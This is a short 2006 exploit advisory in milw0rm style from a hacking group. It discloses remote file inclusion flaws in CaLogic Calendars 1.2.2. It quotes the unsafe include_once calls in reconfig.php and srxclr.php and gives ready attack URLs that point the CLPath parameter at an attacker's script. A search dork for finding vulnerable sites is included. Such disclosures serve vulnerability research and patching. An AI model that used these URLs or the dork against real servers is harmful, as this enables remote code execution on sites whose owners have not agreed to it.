CaLogic Calendars 1.2.2 (CLPath) Remote File Include Vulnerabilities

################ DEVIL TEAM THE BEST POLISH TEAM ################# #CaLogic Calendars V1.2.2 - Remote File Include #Find by Kacper (Rahim). #Greetings For ALL DEVIL TEAM members, Special DragonHeart :*** #Contact: kacper1964@yahoo.pl or http://www.devilteam.yum.pl #dork: CaLogic Calendars V1.2.2 ################################################################## reconfig.php: [code] include_once("./include/config.php"); include_once($GLOBALS["CLPath"]."/classes/session.php"); include_once($GLOBALS["CLPath"]."/include/gfunc.php"); include_once($GLOBALS["CLPath"]."/classes/calogicautomation.php"); [/code] http://site.com/[path]/reconfig.php?GLOBALS[CLPath]=[evil_script] srxclr.php: [code] include_once("./include/config.php"); include_once($GLOBALS["CLPath"]."/include/calfunc.php"); include_once($GLOBALS["CLPath"]."/include/gfunc.php"); include_once($GLOBALS["CLPath"]."/include/efuncs.php"); [/code] http://site.com/[path]/srxclr.php?GLOBALS[CLPath]=[evil_script] #pozdro :) # milw0rm.com [2006-05-20]